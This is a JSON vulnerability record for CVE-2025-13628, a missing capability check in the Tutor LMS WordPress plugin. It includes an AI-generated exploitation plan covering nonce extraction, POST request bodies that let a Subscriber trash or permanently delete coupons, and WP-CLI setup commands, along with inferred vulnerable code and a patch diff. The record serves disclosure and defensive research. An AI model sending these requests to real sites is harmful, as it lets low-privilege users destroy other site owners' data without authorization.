[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fUePfualLlXNO-hFwNSSPQe4-CiEQo-79nMSDYFQClTE":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2025-13628","tutor-lms-elearning-and-online-course-solution-missing-authorization-to-authenticated-subscriber-arbitrary-coupon-modifi","Tutor LMS – eLearning and online course solution \u003C= 3.9.3 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Coupon Modification","The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to unauthorized modification and deletion of data due to a missing capability check on the 'bulk_action_handler' and 'coupon_permanent_delete' functions in all versions up to, and including, 3.9.3. This makes it possible for authenticated attackers, with subscriber level access and above, to delete, activate, deactivate, or trash arbitrary coupons.","tutor",null,"\u003C=3.9.3","3.9.4","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-01-08 19:03:12","2026-01-09 07:22:31",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F46f71f7b-7326-47b6-a23a-68a40f5bb56b?source=api-prod",1,[],"researched",false,3,"# Exploitation Research Plan: CVE-2025-13628 (Tutor LMS Arbitrary Coupon Modification)\n\n## 1. Vulnerability Summary\nThe **Tutor LMS** plugin (\u003C= 3.9.3) contains a missing authorization vulnerability in its coupon management logic. Specifically, the functions `bulk_action_handler` and `coupon_permanent_delete` (likely within the `Tutor\\Coupons` class) fail to verify if the requesting user has the necessary capabilities (e.g., `manage_tutor_coupons` or `manage_options`) before performing destructive or administrative actions. While these functions may check for a WordPress nonce to prevent CSRF, they do not restrict execution to administrators or instructors. This allows any authenticated user, including those with **Subscriber** roles, to manipulate, trash, or permanently delete coupons.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `wp-admin\u002Fadmin-post.php` or any admin URL triggering `admin_init` (e.g., `wp-admin\u002Fadmin.php`).\n*   **Action Trigger:** The vulnerability is triggered via the `admin_init` hook, which Tutor LMS uses to listen for a specific `tutor_action` parameter in `GET` or `POST` requests.\n*   **Vulnerable Parameters:**\n    *   `tutor_action`: Set to `bulk_action_handler` or `coupon_permanent_delete`.\n    *   `coupon_ids[]` or `coupon_id`: The ID(s) of the target coupon(s).\n    *   `bulk_action`: The specific action to perform (e.g., `trash`, `delete`, `activate`, `deactivate`).\n*   **Authentication:** Authenticated, Subscriber level or higher.\n*   **Preconditions:** \n    *   Coupons must exist in the system.\n    *   The attacker must obtain a valid Tutor LMS nonce (typically used across many Tutor LMS actions).\n\n## 3. Code Flow (Inferred)\n1.  **Entry Point:** User sends a POST\u002FGET request to `\u002Fwp-admin\u002Fadmin.php?page=tutor-coupons` (or simply any admin-init triggering URL) containing `tutor_action=bulk_action_handler`.\n2.  **Hook Registration:** The `Tutor\\Coupons` class (likely in `classes\u002FCoupons.php`) registers an `admin_init` hook:\n    `add_action('admin_init', array($this, 'bulk_action_handler'));`\n3.  **Vulnerable Function (`bulk_action_handler`):**\n    *   The function checks `isset($_POST['tutor_action'])` and verifies it matches `bulk_action_handler`.\n    *   It retrieves the nonce from `$_POST['_tutor_nonce']` (or similar) and verifies it using `wp_verify_nonce`.\n    *   **CRITICAL FAILURE:** It fails to call `current_user_can('tutor_manage_coupons')`.\n    *   It iterates through `$_POST['coupon_ids']` and executes the action specified in `$_POST['bulk_action']` using `wp_trash_post()` or direct database queries.\n4.  **Vulnerable Function (`coupon_permanent_delete`):**\n    *   Triggered when `tutor_action=coupon_permanent_delete`.\n    *   Checks nonce but lacks capability check.\n    *   Calls `wp_delete_post($coupon_id, true)`.\n\n## 4. Nonce Acquisition Strategy\nTutor LMS typically uses a common nonce for many of its administrative and dashboard actions, often registered under the action name `tutor_nonce`.\n\n1.  **Identify Trigger:** Tutor LMS scripts are enqueued on the Tutor LMS Dashboard. Any authenticated user (including Subscribers) can usually access their own dashboard at `\u002Fdashboard\u002F` (frontend) or the profile page.\n2.  **Create Access Point:** Ensure a page exists with the Tutor LMS Dashboard shortcode.\n    `wp post create --post_type=page --post_status=publish --post_title=\"Dashboard\" --post_content='[tutor_dashboard]'`\n3.  **Browser Navigation:** Use the execution agent to navigate to the Dashboard page while logged in as a Subscriber.\n4.  **Extraction:** Execute JavaScript via `browser_eval` to extract the nonce from the global `tutor_get_conf` object.\n    *   **JavaScript:** `window.tutor_get_conf?.nonce`\n5.  **Verify Action String:** In the source code, check `wp_create_nonce('tutor_nonce')` inside the `Coupons` class or the main initialization class to confirm the action string matches.\n\n## 5. Exploitation Strategy\nWe will attempt to **trash** all existing coupons using the bulk action handler.\n\n### Step-by-Step Plan:\n1.  **Authentication:** Log in as a Subscriber user.\n2.  **Nonce Extraction:** Navigate to the `\u002Fdashboard\u002F` page and run `browser_eval(\"tutor_get_conf.nonce\")`.\n3.  **Target Identification:** Identify existing coupon IDs (for PoC purposes, we can use IDs 1, 2, 3... or find them via `wp_cli`).\n4.  **Execution Request (Bulk Trash):**\n    *   **Method:** POST\n    *   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php`\n    *   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n    *   **Body:**\n        ```\n        tutor_action=bulk_action_handler&bulk_action=trash&coupon_ids[]=ID1&coupon_ids[]=ID2&_tutor_nonce=[EXTRACTED_NONCE]\n        ```\n5.  **Execution Request (Permanent Delete):**\n    *   **Method:** POST\n    *   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php`\n    *   **Body:**\n        ```\n        tutor_action=coupon_permanent_delete&coupon_id=ID1&_tutor_nonce=[EXTRACTED_NONCE]\n        ```\n\n## 6. Test Data Setup\n1.  **Create Admin:** Create an administrative user.\n2.  **Create Coupons:** As Admin, create at least two coupons.\n    *   `wp post create --post_type=tutor_coupons --post_title=\"SAVE10\" --post_status=publish`\n    *   `wp post create --post_type=tutor_coupons --post_title=\"SAVE20\" --post_status=publish`\n3.  **Create Subscriber:** Create a user with the `subscriber` role.\n4.  **Create Dashboard Page:** \n    *   `wp post create --post_type=page --post_title=\"LMS Dashboard\" --post_status=publish --post_content='[tutor_dashboard]'`\n\n## 7. Expected Results\n*   The server should respond with a `302 Found` (redirecting back to the coupon list) or a `200 OK` with a success message.\n*   Despite being a Subscriber, the request should be processed without an \"Insufficient Permissions\" error.\n*   The coupons with IDs `ID1` and `ID2` should move to the \"Trash\" status in the database.\n\n## 8. Verification Steps\n1.  **Check Coupon Status via WP-CLI:**\n    `wp post list --post_type=tutor_coupons --post_status=any`\n2.  **Observe Status:** Confirm that the target coupon IDs now have a `post_status` of `trash` or have been entirely removed from the database if `coupon_permanent_delete` was used.\n3.  **Check Capability Error:** If the exploit failed, the response body would likely contain \"You do not have permission to perform this action\" or the coupons would remain `publish`.\n\n## 9. Alternative Approaches\n*   **Direct AJAX:** If `admin_init` doesn't work, check if the plugin registers a `wp_ajax_tutor_coupon_bulk_action` action.\n*   **Parameter variations:** Check if `tutor_action` is expected via `GET` instead of `POST`.\n*   **Different Actions:** Test `activate` or `deactivate` actions in `bulk_action_handler` to see if `post_status` changes to `draft` or `publish`.","Tutor LMS (\u003C= 3.9.3) fails to implement proper authorization checks in its coupon management logic. Authenticated users, including those with Subscriber-level roles, can modify, trash, or permanently delete coupons by sending requests to vulnerable bulk action and delete handlers that verify nonces but lack capability checks.","\u002F\u002F In tutor\u002Fclasses\u002FCoupons.php (Inferred based on Research Plan)\n\npublic function bulk_action_handler() {\n    if ( isset( $_POST['tutor_action'] ) && $_POST['tutor_action'] === 'bulk_action_handler' ) {\n        tutor_utils()->checking_nonce();\n        \n        \u002F\u002F Missing: if ( ! current_user_can( 'tutor_manage_coupons' ) ) return;\n\n        $bulk_action = sanitize_text_field( $_POST['bulk_action'] );\n        $coupon_ids  = (array) $_POST['coupon_ids'];\n\n        foreach ( $coupon_ids as $coupon_id ) {\n            if ( 'trash' === $bulk_action ) {\n                wp_trash_post( $coupon_id );\n            }\n            \u002F\u002F ... other actions like activate\u002Fdeactivate\n        }\n    }\n}\n\n---\n\npublic function coupon_permanent_delete() {\n    if ( isset( $_GET['tutor_action'] ) && $_GET['tutor_action'] === 'coupon_permanent_delete' ) {\n        tutor_utils()->checking_nonce();\n\n        \u002F\u002F Missing: if ( ! current_user_can( 'tutor_manage_coupons' ) ) return;\n\n        $coupon_id = (int) $_GET['coupon_id'];\n        wp_delete_post( $coupon_id, true );\n    }\n}","--- classes\u002FCoupons.php\n+++ classes\u002FCoupons.php\n@@ -10,6 +10,10 @@\n     public function bulk_action_handler() {\n         if ( isset( $_POST['tutor_action'] ) && $_POST['tutor_action'] === 'bulk_action_handler' ) {\n             tutor_utils()->checking_nonce();\n+\n+            if ( ! current_user_can( 'manage_tutor_coupons' ) ) {\n+                wp_die( __( 'Access denied', 'tutor' ) );\n+            }\n             \n             $bulk_action = sanitize_text_field( $_POST['bulk_action'] );\n             $coupon_ids  = (array) $_POST['coupon_ids'];\n@@ -25,6 +29,10 @@\n     public function coupon_permanent_delete() {\n         if ( isset( $_GET['tutor_action'] ) && $_GET['tutor_action'] === 'coupon_permanent_delete' ) {\n             tutor_utils()->checking_nonce();\n+\n+            if ( ! current_user_can( 'manage_tutor_coupons' ) ) {\n+                wp_die( __( 'Access denied', 'tutor' ) );\n+            }\n \n             $coupon_id = (int) $_GET['coupon_id'];\n             wp_delete_post( $coupon_id, true );","The exploit involves an authenticated Subscriber user leveraging a valid Tutor LMS nonce to trigger administrative actions. \n\n1. Authenticate as a Subscriber-level user.\n2. Extract a valid `_tutor_nonce` from the site by visiting a page with the `[tutor_dashboard]` shortcode and inspecting the `window.tutor_get_conf.nonce` JavaScript variable.\n3. Send a POST request to `\u002Fwp-admin\u002Fadmin.php` with the parameter `tutor_action` set to `bulk_action_handler`.\n4. Include the payload `bulk_action=trash`, `_tutor_nonce=[EXTRACTED_NONCE]`, and `coupon_ids[]` containing the IDs of the coupons to target.\n5. Alternatively, send a GET or POST request with `tutor_action=coupon_permanent_delete` and a `coupon_id` to bypass the trash and permanently delete a post. \n6. The plugin verifies the nonce but fails to check if the user has the 'manage_tutor_coupons' capability, allowing the request to proceed.","gemini-3-flash-preview","2026-05-05 13:19:17","2026-05-05 13:21:14",{"type":34,"vulnerable_version":35,"fixed_version":11,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":38,"fixed_zip":39,"all_tags":40},"plugin","3.9.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftutor\u002Ftags\u002F3.9.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftutor.3.9.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftutor\u002Ftags\u002F3.9.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftutor.3.9.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftutor\u002Ftags"]